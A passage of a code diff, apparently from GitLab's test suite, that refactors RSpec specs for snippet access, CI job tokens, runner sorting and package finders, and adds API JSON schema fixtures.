+ is_expected.to be_allowed_for(:guest).of(project)
+ is_expected.to be_denied_for(:user)
+ is_expected.to be_denied_for(:external)
+ is_expected.to be_denied_for(:visitor)
+ end
end
describe "GET /:project_path/snippets/:id/raw for a private snippet" do
@@ -59,13 +67,16 @@ RSpec.describe "Private Project Snippets Access" do
it('is allowed for admin when admin mode is enabled', :enable_admin_mode) { is_expected.to be_allowed_for(:admin) }
it('is denied for admin when admin mode is disabled') { is_expected.to be_denied_for(:admin) }
- it { is_expected.to be_allowed_for(:owner).of(project) }
- it { is_expected.to be_allowed_for(:maintainer).of(project) }
- it { is_expected.to be_allowed_for(:developer).of(project) }
- it { is_expected.to be_allowed_for(:reporter).of(project) }
- it { is_expected.to be_allowed_for(:guest).of(project) }
- it { is_expected.to be_denied_for(:user) }
- it { is_expected.to be_denied_for(:external) }
- it { is_expected.to be_denied_for(:visitor) }
+
+ specify :aggregate_failures do
+ is_expected.to be_allowed_for(:owner).of(project)
+ is_expected.to be_allowed_for(:maintainer).of(project)
+ is_expected.to be_allowed_for(:developer).of(project)
+ is_expected.to be_allowed_for(:reporter).of(project)
+ is_expected.to be_allowed_for(:guest).of(project)
+ is_expected.to be_denied_for(:user)
+ is_expected.to be_denied_for(:external)
+ is_expected.to be_denied_for(:visitor)
+ end
end
end
diff --git a/spec/features/users/show_spec.rb b/spec/features/users/show_spec.rb
index 56d2aaea203..0309df8f32a 100644
--- a/spec/features/users/show_spec.rb
+++ b/spec/features/users/show_spec.rb
@@ -220,6 +220,14 @@ RSpec.describe 'User page' do
expect(page).to have_content("Working hard!")
end
+ it 'shows the pronouns of the user if there was one' do
+ user.user_detail.update_column(:pronouns, 'they/them')
+
+ subject
+
+ expect(page).to have_content("(they/them)")
+ end
+
context 'signup disabled' do
it 'shows the sign in link' do
stub_application_setting(signup_enabled: false)
diff --git a/spec/features/users/signup_spec.rb b/spec/features/users/signup_spec.rb
index 17a6abb99e0..a651a6c09c6 100644
--- a/spec/features/users/signup_spec.rb
+++ b/spec/features/users/signup_spec.rb
@@ -204,7 +204,7 @@ RSpec.describe 'Signup' do
expect { click_button 'Register' }.to change { User.count }.by(1)
expect(current_path).to eq users_almost_there_path
- expect(page).to have_content('Please check your email to confirm your account')
+ expect(page).to have_content("Please check your email (#{new_user.email}) to confirm your account")
confirm_email
diff --git a/spec/finders/ci/auth_job_finder_spec.rb b/spec/finders/ci/auth_job_finder_spec.rb
index 6cd58f5cd01..78827c9ddee 100644
--- a/spec/finders/ci/auth_job_finder_spec.rb
+++ b/spec/finders/ci/auth_job_finder_spec.rb
@@ -2,7 +2,8 @@
require 'spec_helper'
RSpec.describe Ci::AuthJobFinder do
- let_it_be(:job, reload: true) { create(:ci_build, status: :running) }
+ let_it_be(:user, reload: true) { create(:user) }
+ let_it_be(:job, reload: true) { create(:ci_build, status: :running, user: user) }
let(:token) { job.token }
@@ -55,10 +56,31 @@ RSpec.describe Ci::AuthJobFinder do
describe '#execute' do
subject(:execute) { finder.execute }
- before do
- job.success!
+ context 'when job is not running' do
+ before do
+ job.success!
+ end
+
+ it { is_expected.to be_nil }
end
- it { is_expected.to be_nil }
+ context 'when job is running', :request_store do
+ it 'sets ci_job_token_scope on the job user', :aggregate_failures do
+ expect(subject).to eq(job)
+ expect(subject.user).to be_from_ci_job_token
+ expect(subject.user.ci_job_token_scope.source_project).to eq(job.project)
+ end
+
+ context 'when feature flag ci_scoped_job_token is disabled' do
+ before do
+ stub_feature_flags(ci_scoped_job_token: false)
+ end
+
+ it 'does not set ci_job_token_scope on the job user' do
+ expect(subject).to eq(job)
+ expect(subject.user).not_to be_from_ci_job_token
+ end
+ end
+ end
end
end
diff --git a/spec/finders/ci/runners_finder_spec.rb b/spec/finders/ci/runners_finder_spec.rb
index 4df026f2f5f..250a85dde30 100644
--- a/spec/finders/ci/runners_finder_spec.rb
+++ b/spec/finders/ci/runners_finder_spec.rb
@@ -51,23 +51,55 @@ RSpec.describe Ci::RunnersFinder do
end
context 'sort' do
+ let_it_be(:runner1) { create :ci_runner, created_at: '2018-07-12 07:00', contacted_at: 1.minute.ago }
+ let_it_be(:runner2) { create :ci_runner, created_at: '2018-07-12 08:00', contacted_at: 3.minutes.ago }
+ let_it_be(:runner3) { create :ci_runner, created_at: '2018-07-12 09:00', contacted_at: 2.minutes.ago }
+
+ subject do
+ described_class.new(current_user: admin, params: params).execute
+ end
+
+ shared_examples 'sorts by created_at descending' do
+ it 'sorts by created_at descending' do
+ is_expected.to eq [runner3, runner2, runner1]
+ end
+ end
+
context 'without sort param' do
- it 'sorts by created_at' do
- runner1 = create :ci_runner, created_at: '2018-07-12 07:00'
- runner2 = create :ci_runner, created_at: '2018-07-12 08:00'
- runner3 = create :ci_runner, created_at: '2018-07-12 09:00'
+ let(:params) { {} }
+
+ it_behaves_like 'sorts by created_at descending'
+ end
+
+ %w(created_date created_at_desc).each do |sort|
+ context "with sort param equal to #{sort}" do
+ let(:params) { { sort: sort } }
+
+ it_behaves_like 'sorts by created_at descending'
+ end
+ end
+
+ context 'with sort param equal to created_at_asc' do
+ let(:params) { { sort: 'created_at_asc' } }
+
+ it 'sorts by created_at ascending' do
+ is_expected.to eq [runner1, runner2, runner3]
+ end
+ end
+
+ context 'with sort param equal to contacted_asc' do
+ let(:params) { { sort: 'contacted_asc' } }
- expect(described_class.new(current_user: admin, params: {}).execute).to eq [runner3, runner2, runner1]
+ it 'sorts by contacted_at ascending' do
+ is_expected.to eq [runner2, runner3, runner1]
end
end
- context 'with sort param' do
- it 'sorts by specified attribute' do
- runner1 = create :ci_runner, contacted_at: 1.minute.ago
- runner2 = create :ci_runner, contacted_at: 3.minutes.ago
- runner3 = create :ci_runner, contacted_at: 2.minutes.ago
+ context 'with sort param equal to contacted_desc' do
+ let(:params) { { sort: 'contacted_desc' } }
- expect(described_class.new(current_user: admin, params: { sort: 'contacted_asc' }).execute).to eq [runner2, runner3, runner1]
+ it 'sorts by contacted_at descending' do
+ is_expected.to eq [runner1, runner3, runner2]
end
end
end
@@ -246,8 +278,8 @@ RSpec.describe Ci::RunnersFinder do
subject { described_class.new(current_user: user, group: group, params: params).sort_key }
context 'no params' do
- it 'returns created_date' do
- expect(subject).to eq('created_date')
+ it 'returns created_at_desc' do
+ expect(subject).to eq('created_at_desc')
end
end
diff --git a/spec/finders/concerns/packages/finder_helper_spec.rb b/spec/finders/concerns/packages/finder_helper_spec.rb
index bad4c482bc6..e8648d131ff 100644
--- a/spec/finders/concerns/packages/finder_helper_spec.rb
+++ b/spec/finders/concerns/packages/finder_helper_spec.rb
@@ -113,41 +113,22 @@ RSpec.describe ::Packages::FinderHelper do
let_it_be(:user) { create(:deploy_token, :group, read_package_registry: true) }
let_it_be(:group_deploy_token) { create(:group_deploy_token, deploy_token: user, group: group) }
- shared_examples 'handling all conditions' do
- where(:group_visibility, :subgroup_visibility, :project2_visibility, :shared_example_name) do
- 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | 'returning both packages'
- 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | 'returning both packages'
- 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | 'returning both packages'
- 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | 'returning both packages'
- end
-
- with_them do
- before do
- project2.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project2_visibility, false))
- subgroup.update!(visibility_level: Gitlab::VisibilityLevel.const_get(subgroup_visibility, false))
- project1.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
- group.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
- end
-
- it_behaves_like params[:shared_example_name]
- end
- end
-
- context 'with packages_finder_helper_deploy_token enabled' do
- before do
- expect(group).not_to receive(:all_projects)
- end
-
- it_behaves_like 'handling all conditions'
+ where(:group_visibility, :subgroup_visibility, :project2_visibility, :shared_example_name) do
+ 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | 'returning both packages'
+ 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | 'returning both packages'
+ 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | 'returning both packages'
+ 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | 'returning both packages'
end
- context 'with packages_finder_helper_deploy_token disabled' do
+ with_them do
before do
- stub_feature_flags(packages_finder_helper_deploy_token: false)
- expect(group).to receive(:all_projects).and_call_original
+ project2.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project2_visibility, false))
+ subgroup.update!(visibility_level: Gitlab::VisibilityLevel.const_get(subgroup_visibility, false))
+ project1.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
+ group.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
end
- it_behaves_like 'handling all conditions'
+ it_behaves_like params[:shared_example_name]
end
end
end
@@ -236,41 +217,22 @@ RSpec.describe ::Packages::FinderHelper do
let_it_be(:user) { create(:deploy_token, :group, read_package_registry: true) }
let_it_be(:group_deploy_token) { create(:group_deploy_token, deploy_token: user, group: group) }
- shared_examples 'handling all conditions' do
- where(:group_visibility, :subgroup_visibility, :project2_visibility, :shared_example_name) do
- 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | 'returning both projects'
- 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | 'returning both projects'
- 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | 'returning both projects'
- 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | 'returning both projects'
- end
-
- with_them do
- before do
- project2.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project2_visibility, false))
- subgroup.update!(visibility_level: Gitlab::VisibilityLevel.const_get(subgroup_visibility, false))
- project1.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
- group.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
- end
-
- it_behaves_like params[:shared_example_name]
- end
- end
-
- context 'with packages_finder_helper_deploy_token enabled' do
- before do
- expect(group).not_to receive(:all_projects)
- end
-
- it_behaves_like 'handling all conditions'
+ where(:group_visibility, :subgroup_visibility, :project2_visibility, :shared_example_name) do
+ 'PUBLIC' | 'PUBLIC' | 'PUBLIC' | 'returning both projects'
+ 'PUBLIC' | 'PUBLIC' | 'PRIVATE' | 'returning both projects'
+ 'PUBLIC' | 'PRIVATE' | 'PRIVATE' | 'returning both projects'
+ 'PRIVATE' | 'PRIVATE' | 'PRIVATE' | 'returning both projects'
end
- context 'with packages_finder_helper_deploy_token disabled' do
+ with_them do
before do
- stub_feature_flags(packages_finder_helper_deploy_token: false)
- expect(group).to receive(:all_projects).and_call_original
+ project2.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project2_visibility, false))
+ subgroup.update!(visibility_level: Gitlab::VisibilityLevel.const_get(subgroup_visibility, false))
+ project1.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
+ group.update!(visibility_level: Gitlab::VisibilityLevel.const_get(group_visibility, false))
end
- it_behaves_like 'handling all conditions'
+ it_behaves_like params[:shared_example_name]
end
end
end
diff --git a/spec/finders/deployments_finder_spec.rb b/spec/finders/deployments_finder_spec.rb
index b294f1117f5..bd03b254f40 100644
--- a/spec/finders/deployments_finder_spec.rb
+++ b/spec/finders/deployments_finder_spec.rb
@@ -81,16 +81,6 @@ RSpec.describe DeploymentsFinder do
it 'returns deployments with matched updated_at' do
is_expected.to match_array([deployment_2, deployment_1])
end
-
- context 'when deployments_finder_implicitly_enforce_ordering_for_updated_at_filter feature flag is disabled' do
- before do
- stub_feature_flags(deployments_finder_implicitly_enforce_ordering_for_updated_at_filter: false)
- end
-
- it 'returns deployments with matched updated_at' do
- is_expected.to match_array([deployment_1, deployment_2])
- end
- end
end
context 'when the environment name is specified' do
@@ -244,20 +234,6 @@ RSpec.describe DeploymentsFinder do
expect(subject.order_values.first.to_sql).to eq(Deployment.arel_table[:updated_at].asc.to_sql)
expect(subject.order_values.second.to_sql).to eq(Deployment.arel_table[:id].asc.to_sql)
end
-
- context 'when deployments_finder_implicitly_enforce_ordering_for_updated_at_filter feature flag is disabled' do
- before do
- stub_feature_flags(deployments_finder_implicitly_enforce_ordering_for_updated_at_filter: false)
- end
-
- it 'sorts by only one column' do
- expect(subject.order_values.size).to eq(1)
- end
-
- it 'sorts by `id`' do
- expect(subject.order_values.first.to_sql).to eq(Deployment.arel_table[:id].asc.to_sql)
- end
- end
end
context 'when filtering by finished time' do
diff --git a/spec/finders/feature_flags_finder_spec.rb b/spec/finders/feature_flags_finder_spec.rb
index 8744a186212..4faa6a62a1f 100644
--- a/spec/finders/feature_flags_finder_spec.rb
+++ b/spec/finders/feature_flags_finder_spec.rb
@@ -73,11 +73,11 @@ RSpec.describe FeatureFlagsFinder do
end
end
- context 'when new version flags are enabled' do
- let!(:feature_flag_3) { create(:operations_feature_flag, :new_version_flag, name: 'flag-c', project: project) }
+ context 'with a legacy flag' do
+ let!(:feature_flag_3) { create(:operations_feature_flag, :legacy_flag, name: 'flag-c', project: project) }
- it 'returns new and legacy flags' do
- is_expected.to eq([feature_flag_1, feature_flag_2, feature_flag_3])
+ it 'returns new flags' do
+ is_expected.to eq([feature_flag_1, feature_flag_2])
end
end
end
diff --git a/spec/finders/issues_finder_spec.rb b/spec/finders/issues_finder_spec.rb
index 27466ab563f..1c8c2af8e03 100644
--- a/spec/finders/issues_finder_spec.rb
+++ b/spec/finders/issues_finder_spec.rb
@@ -49,6 +49,11 @@ RSpec.describe IssuesFinder do
let(:expected_issuables) { [issue3, issue4] }
end
+ it_behaves_like 'assignee OR filter' do
+ let(:params) { { or: { assignee_id: [user.id, user2.id] } } }
+ let(:expected_issuables) { [issue1, issue2, issue3, issue5] }
+ end
+
context 'when assignee_id does not exist' do
it_behaves_like 'assignee NOT ID filter' do
let(:params) { { not: { assignee_id: -100 } } }
@@ -79,6 +84,11 @@ RSpec.describe IssuesFinder do
let(:expected_issuables) { [issue3, issue4] }
end
+ it_behaves_like 'assignee OR filter' do
+ let(:params) { { or: { assignee_username: [user2.username, user3.username] } } }
+ let(:expected_issuables) { [issue2, issue3] }
+ end
+
context 'when assignee_username does not exist' do
it_behaves_like 'assignee NOT username filter' do
before do
diff --git a/spec/finders/packages/helm/package_files_finder_spec.rb b/spec/finders/packages/helm/package_files_finder_spec.rb
new file mode 100644
index 00000000000..2b84fd2b2d2
--- /dev/null
+++ b/spec/finders/packages/helm/package_files_finder_spec.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Packages::Helm::PackageFilesFinder do
+ let_it_be(:project1) { create(:project) }
+ let_it_be(:project2) { create(:project) }
+ let_it_be(:helm_package) { create(:helm_package, project: project1) }
+ let_it_be(:helm_package_file) { helm_package.package_files.first }
+ let_it_be(:debian_package) { create(:debian_package, project: project1) }
+
+ describe '#execute' do
+ let(:project) { project1 }
+ let(:channel) { 'stable' }
+ let(:params) { {} }
+
+ subject { described_class.new(project, channel, params).execute }
+
+ context 'with empty params' do
+ it { is_expected.to match_array([helm_package_file]) }
+ end
+
+ context 'with another project' do
+ let(:project) { project2 }
+
+ it { is_expected.to match_array([]) }
+ end
+
+ context 'with another channel' do
+ let(:channel) { 'staging' }
+
+ it { is_expected.to match_array([]) }
+ end
+
+ context 'with file_name' do
+ let(:params) { { file_name: helm_package_file.file_name } }
+
+ it { is_expected.to match_array([helm_package_file]) }
+ end
+
+ context 'with another file_name' do
+ let(:params) { { file_name: 'foobar.tgz' } }
+
+ it { is_expected.to match_array([]) }
+ end
+ end
+end
diff --git a/spec/finders/packages/maven/package_finder_spec.rb b/spec/finders/packages/maven/package_finder_spec.rb
index 13c603f1ec4..38fc3b7cce4 100644
--- a/spec/finders/packages/maven/package_finder_spec.rb
+++ b/spec/finders/packages/maven/package_finder_spec.rb
@@ -17,107 +17,89 @@ RSpec.describe ::Packages::Maven::PackageFinder do
group.add_developer(user)
end
- shared_examples 'Packages::Maven::PackageFinder examples' do
- describe '#execute!' do
- subject { finder.execute! }
+ describe '#execute!' do
+ subject { finder.execute! }
- shared_examples 'handling valid and invalid paths' do
- context 'with a valid path' do
- let(:param_path) { package.maven_metadatum.path }
+ shared_examples 'handling valid and invalid paths' do
+ context 'with a valid path' do
+ let(:param_path) { package.maven_metadatum.path }
- it { is_expected.to eq(package) }
- end
-
- context 'with an invalid path' do
- let(:param_path) { 'com/example/my-app/1.0-SNAPSHOT' }
-
- it 'raises an error' do
- expect { subject }.to raise_error(ActiveRecord::RecordNotFound)
- end
- end
-
- context 'with an uninstallable package' do
- let(:param_path) { package.maven_metadatum.path }
-
- before do
- package.update_column(:status, 1)
- end
-
- it { expect { subject }.to raise_error(ActiveRecord::RecordNotFound) }
- end
+ it { is_expected.to eq(package) }
end
- context 'within the project' do
- let(:project_or_group) { project }
+ context 'with an invalid path' do
+ let(:param_path) { 'com/example/my-app/1.0-SNAPSHOT' }
- it_behaves_like 'handling valid and invalid paths'
- end
-
- context 'within a group' do
- let(:project_or_group) { group }
-
- it_behaves_like 'handling valid and invalid paths'
- end
-
- context 'across all projects' do
it 'raises an error' do
expect { subject }.to raise_error(ActiveRecord::RecordNotFound)
end
end
- context 'versionless maven-metadata.xml package' do
- let_it_be(:sub_group1) { create(:group, parent: group) }
- let_it_be(:sub_group2) { create(:group, parent: group) }
- let_it_be(:project1) { create(:project, group: sub_group1) }
- let_it_be(:project2) { create(:project, group: sub_group2) }
- let_it_be(:project3) { create(:project, group: sub_group1) }
- let_it_be(:package_name) { 'foo' }
- let_it_be(:package1) { create(:maven_package, project: project1, name: package_name, version: nil) }
- let_it_be(:package2) { create(:maven_package, project: project2, name: package_name, version: nil) }
- let_it_be(:package3) { create(:maven_package, project: project3, name: package_name, version: nil) }
-
- let(:project_or_group) { group }
- let(:param_path) { package_name }
+ context 'with an uninstallable package' do
+ let(:param_path) { package.maven_metadatum.path }
before do
- sub_group1.add_developer(user)
- sub_group2.add_developer(user)
- # the package with the most recently published file should be returned
- create(:package_file, :xml, package: package2)
- end
-
- context 'without order by package file' do
- it { is_expected.to eq(package3) }
+ package.update_column(:status, 1)
end
- context 'with order by package file' do
- let(:param_order_by_package_file) { true }
-
- it { is_expected.to eq(package2) }
- end
+ it { expect { subject }.to raise_error(ActiveRecord::RecordNotFound) }
end
end
- end
- context 'when the maven_metadata_by_path_with_optimization_fence feature flag is off' do
- before do
- stub_feature_flags(maven_metadata_by_path_with_optimization_fence: false)
+ context 'within the project' do
+ let(:project_or_group) { project }
+
+ it_behaves_like 'handling valid and invalid paths'
end
- it_behaves_like 'Packages::Maven::PackageFinder examples'
- end
+ context 'within a group' do
+ let(:project_or_group) { group }
- context 'when the maven_metadata_by_path_with_optimization_fence feature flag is on' do
- before do
- stub_feature_flags(maven_metadata_by_path_with_optimization_fence: true)
+ it_behaves_like 'handling valid and invalid paths'
end
- it_behaves_like 'Packages::Maven::PackageFinder examples'
+ context 'across all projects' do
+ it 'raises an error' do
+ expect { subject }.to raise_error(ActiveRecord::RecordNotFound)
+ end
+ end
- it 'uses CTE in the query' do
- sql = described_class.new(user, group, path: package.maven_metadatum.path).send(:packages).to_sql
+ context 'versionless maven-metadata.xml package' do
+ let_it_be(:sub_group1) { create(:group, parent: group) }
+ let_it_be(:sub_group2) { create(:group, parent: group) }
+ let_it_be(:project1) { create(:project, group: sub_group1) }
+ let_it_be(:project2) { create(:project, group: sub_group2) }
+ let_it_be(:project3) { create(:project, group: sub_group1) }
+ let_it_be(:package_name) { 'foo' }
+ let_it_be(:package1) { create(:maven_package, project: project1, name: package_name, version: nil) }
+ let_it_be(:package2) { create(:maven_package, project: project2, name: package_name, version: nil) }
+ let_it_be(:package3) { create(:maven_package, project: project3, name: package_name, version: nil) }
+
+ let(:project_or_group) { group }
+ let(:param_path) { package_name }
+
+ before do
+ sub_group1.add_developer(user)
+ sub_group2.add_developer(user)
+ # the package with the most recently published file should be returned
+ create(:package_file, :xml, package: package2)
+ end
- expect(sql).to include('WITH "maven_metadata_by_path" AS')
+ context 'without order by package file' do
+ it { is_expected.to eq(package3) }
+ end
+
+ context 'with order by package file' do
+ let(:param_order_by_package_file) { true }
+
+ it { is_expected.to eq(package2) }
+ end
end
end
+
+ it 'uses CTE in the query' do
+ sql = described_class.new(user, group, path: package.maven_metadatum.path).send(:packages).to_sql
+
+ expect(sql).to include('WITH "maven_metadata_by_path" AS')
+ end
end
diff --git a/spec/finders/packages/pypi/package_finder_spec.rb b/spec/finders/packages/pypi/package_finder_spec.rb
index 7d9eb8a5cd1..f065bd21f6d 100644
--- a/spec/finders/packages/pypi/package_finder_spec.rb
+++ b/spec/finders/packages/pypi/package_finder_spec.rb
@@ -31,15 +31,7 @@ RSpec.describe Packages::Pypi::PackageFinder do
context 'within a group' do
let(:scope) { group }
- it { expect { subject }.to raise_error(ActiveRecord::RecordNotFound) }
-
- context 'user with access' do
- before do
- project.add_developer(user)
- end
-
- it { is_expected.to eq(package2) }
- end
+ it { is_expected.to eq(package2) }
end
end
end
diff --git a/spec/finders/pending_todos_finder_spec.rb b/spec/finders/pending_todos_finder_spec.rb
index b17915f0d59..f317d8b1633 100644
--- a/spec/finders/pending_todos_finder_spec.rb
+++ b/spec/finders/pending_todos_finder_spec.rb
@@ -3,8 +3,11 @@
require 'spec_helper'
RSpec.describe PendingTodosFinder do
- let(:user) { create(:user) }
- let(:user2) { create(:user) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:user2) { create(:user) }
+ let_it_be(:issue) { create(:issue) }
+ let_it_be(:note) { create(:note) }
+
let(:users) { [user, user2] }
describe '#execute' do
@@ -30,20 +33,16 @@ RSpec.describe PendingTodosFinder do
end
it 'supports retrieving of todos for a specific todo target' do
- issue = create(:issue)
- note = create(:note)
todo = create(:todo, :pending, user: user, target: issue)
create(:todo, :pending, user: user, target: note)
- todos = described_class.new(users, target_id: issue.id).execute
+ todos = described_class.new(users, target_id: issue.id, target_type: 'Issue').execute
expect(todos).to eq([todo])
end
it 'supports retrieving of todos for a specific target type' do
- issue = create(:issue)
- note = create(:note)
todo = create(:todo, :pending, user: user, target: issue)
create(:todo, :pending, user: user, target: note)
@@ -61,5 +60,20 @@ RSpec.describe PendingTodosFinder do
expect(todos).to eq([todo])
end
+
+ it 'supports retrieving of todos for specific discussion' do
+ first_discussion_note = create(:discussion_note_on_issue, noteable: issue, project: issue.project)
+ note_2 = create(:note, discussion_id: first_discussion_note.discussion_id)
+ note_3 = create(:note, discussion_id: first_discussion_note.discussion_id)
+ todo1 = create(:todo, :pending, target: issue, note: note_2, user: note_2.author)
+ todo2 = create(:todo, :pending, target: issue, note: note_3, user: note_3.author)
+ create(:todo, :pending, note: note, user: user)
+ discussion = Discussion.lazy_find(first_discussion_note.discussion_id)
+ users = [note_2.author, note_3.author, user]
+
+ todos = described_class.new(users, discussion: discussion).execute
+
+ expect(todos).to contain_exactly(todo1, todo2)
+ end
end
end
diff --git a/spec/finders/projects/serverless/functions_finder_spec.rb b/spec/finders/projects/serverless/functions_finder_spec.rb
index 3d3e4183d4e..9b58da2e398 100644
--- a/spec/finders/projects/serverless/functions_finder_spec.rb
+++ b/spec/finders/projects/serverless/functions_finder_spec.rb
@@ -165,7 +165,7 @@ RSpec.describe Projects::Serverless::FunctionsFinder do
context 'has prometheus' do
let(:prometheus_adapter) { double('prometheus_adapter', can_query?: true) }
let!(:knative) { create(:clusters_applications_knative, :installed, cluster: cluster) }
- let!(:prometheus) { create(:clusters_applications_prometheus, :installed, cluster: cluster) }
+ let!(:prometheus) { create(:clusters_integrations_prometheus, cluster: cluster) }
let(:finder) { described_class.new(project) }
before do
diff --git a/spec/finders/projects_finder_spec.rb b/spec/finders/projects_finder_spec.rb
index 364e5de4ece..b8b5e2c3bb7 100644
--- a/spec/finders/projects_finder_spec.rb
+++ b/spec/finders/projects_finder_spec.rb
@@ -137,9 +137,9 @@ RSpec.describe ProjectsFinder do
end
end
- describe 'filter by tags' do
+ describe 'filter by tags (deprecated)' do
before do
- public_project.tag_list = 'foo'
+ public_project.topic_list = 'foo'
public_project.save!
end
@@ -148,6 +148,37 @@ RSpec.describe ProjectsFinder do
it { is_expected.to eq([public_project]) }
end
+ describe 'filter by topics' do
+ before do
+ public_project.topic_list = 'foo, bar'
+ public_project.save!
+ end
+
+ context 'single topic' do
+ let(:params) { { topic: 'foo' } }
+
+ it { is_expected.to eq([public_project]) }
+ end
+
+ context 'multiple topics' do
+ let(:params) { { topic: 'bar, foo' } }
+
+ it { is_expected.to eq([public_project]) }
+ end
+
+ context 'one topic matches, other one does not' do
+ let(:params) { { topic: 'foo, xyz' } }
+
+ it { is_expected.to eq([]) }
+ end
+
+ context 'no matching topic' do
+ let(:params) { { topic: 'xyz' } }
+
+ it { is_expected.to eq([]) }
+ end
+ end
+
describe 'filter by personal' do
let!(:personal_project) { create(:project, namespace: user.namespace) }
let(:params) { { personal: true } }
diff --git a/spec/finders/security/security_jobs_finder_spec.rb b/spec/finders/security/security_jobs_finder_spec.rb
index fa8253b96b5..3023c42341b 100644
--- a/spec/finders/security/security_jobs_finder_spec.rb
+++ b/spec/finders/security/security_jobs_finder_spec.rb
@@ -28,19 +28,19 @@ RSpec.describe Security::SecurityJobsFinder do
end
end
- context 'with combination of security jobs and license management jobs' do
+ context 'with combination of security jobs and license scanning jobs' do
let!(:sast_build) { create(:ci_build, :sast, pipeline: pipeline) }
let!(:container_scanning_build) { create(:ci_build, :container_scanning, pipeline: pipeline) }
let!(:dast_build) { create(:ci_build, :dast, pipeline: pipeline) }
let!(:secret_detection_build) { create(:ci_build, :secret_detection, pipeline: pipeline) }
- let!(:license_management_build) { create(:ci_build, :license_management, pipeline: pipeline) }
+ let!(:license_scanning_build) { create(:ci_build, :license_scanning, pipeline: pipeline) }
it 'returns only the security jobs' do
is_expected.to include(sast_build)
is_expected.to include(container_scanning_build)
is_expected.to include(dast_build)
is_expected.to include(secret_detection_build)
- is_expected.not_to include(license_management_build)
+ is_expected.not_to include(license_scanning_build)
end
end
end
diff --git a/spec/fixtures/api/schemas/analytics/cycle_analytics/summary.json b/spec/fixtures/api/schemas/analytics/cycle_analytics/summary.json
new file mode 100644
index 00000000000..73904438ede
--- /dev/null
+++ b/spec/fixtures/api/schemas/analytics/cycle_analytics/summary.json
@@ -0,0 +1,21 @@
+{
+ "type": "array",
+ "items": {
+ "minItems": 2,
+ "maxItems": 3,
+ "type": "object",
+ "required": ["value", "title"],
+ "properties": {
+ "value": {
+ "type": "string"
+ },
+ "title": {
+ "type": "string"
+ },
+ "unit": {
+ "type": "string"
+ }
+ },
+ "additionalProperties": false
+ }
+}
diff --git a/spec/fixtures/api/schemas/cluster_status.json b/spec/fixtures/api/schemas/cluster_status.json
index f6db336fe65..ce62655648b 100644
--- a/spec/fixtures/api/schemas/cluster_status.json
+++ b/spec/fixtures/api/schemas/cluster_status.json
@@ -42,8 +42,6 @@
"host": {"type": ["string", "null"]},
"port": {"type": ["integer", "514"]},
"protocol": {"type": ["integer", "0"]},
- "waf_log_enabled": {"type": ["boolean", "true"]},
- "cilium_log_enabled": {"type": ["boolean", "true"]},
"update_available": { "type": ["boolean", "null"] },
"can_uninstall": { "type": "boolean" },
"available_domains": {
diff --git a/spec/fixtures/api/schemas/entities/issue_board.json b/spec/fixtures/api/schemas/entities/issue_board.json
index 56298cb124d..58d3832440c 100644
--- a/spec/fixtures/api/schemas/entities/issue_board.json
+++ b/spec/fixtures/api/schemas/entities/issue_board.json
@@ -18,7 +18,8 @@
"type": "object",
"properties": {
"id": { "type": "integer" },
- "path": { "type": "string" }
+ "path": { "type": "string" },
+ "path_with_namespace": { "type": "string" }
}
},
"milestone": {
diff --git a/spec/fixtures/api/schemas/external_validation.json b/spec/fixtures/api/schemas/external_validation.json
index 3ff71626cc0..280b77b221a 100644
--- a/spec/fixtures/api/schemas/external_validation.json
+++ b/spec/fixtures/api/schemas/external_validation.json
@@ -32,7 +32,9 @@
"id": { "type": "integer" },
"username": { "type": "string" },
"email": { "type": "string" },
- "created_at": { "type": ["string", "null"], "format": "date-time" }
+ "created_at": { "type": ["string", "null"], "format": "date-time" },
+ "current_sign_in_ip": { "type": ["string", "null"] },
+ "last_sign_in_ip": { "type": ["string", "null"] }
}
},
"pipeline": {
diff --git a/spec/fixtures/api/schemas/graphql/packages/package_details.json b/spec/fixtures/api/schemas/graphql/packages/package_details.json
index ca08e005e9d..3dfe6712b75 100644
--- a/spec/fixtures/api/schemas/graphql/packages/package_details.json
+++ b/spec/fixtures/api/schemas/graphql/packages/package_details.json
@@ -83,6 +83,7 @@
{ "$ref": "./package_conan_metadata.json" },
{ "$ref": "./package_maven_metadata.json" },
{ "$ref": "./package_nuget_metadata.json" },
+ { "$ref": "./package_pypi_metadata.json" },
{ "type": "null" }
]
},
diff --git a/spec/fixtures/api/schemas/graphql/packages/package_pypi_metadata.json b/spec/fixtures/api/schemas/graphql/packages/package_pypi_metadata.json
new file mode 100644
index 00000000000..cecebe3a0e9
--- /dev/null
+++ b/spec/fixtures/api/schemas/graphql/packages/package_pypi_metadata.json
@@ -0,0 +1,13 @@
+{
+ "type": "object",
+ "additionalProperties": false,
+ "required": ["id"],
+ "properties": {
+ "id": {
+ "type": "string"
+ },
+ "requiredPython": {
+ "type": "string"
+ }
+ }
+}
diff --git a/spec/fixtures/api/schemas/public_api/v4/board.json b/spec/fixtures/api/schemas/public_api/v4/board.json
index c3a140c1bd7..11dfa131e88 100644
--- a/spec/fixtures/api/schemas/public_api/v4/board.json
+++ b/spec/fixtures/api/schemas/public_api/v4/board.json
@@ -15,6 +15,7 @@
"description",
"default_branch",
"tag_list",
+ "topics",
"ssh_url_to_repo",
"http_url_to_repo",
"web_url",
@@ -34,6 +35,7 @@
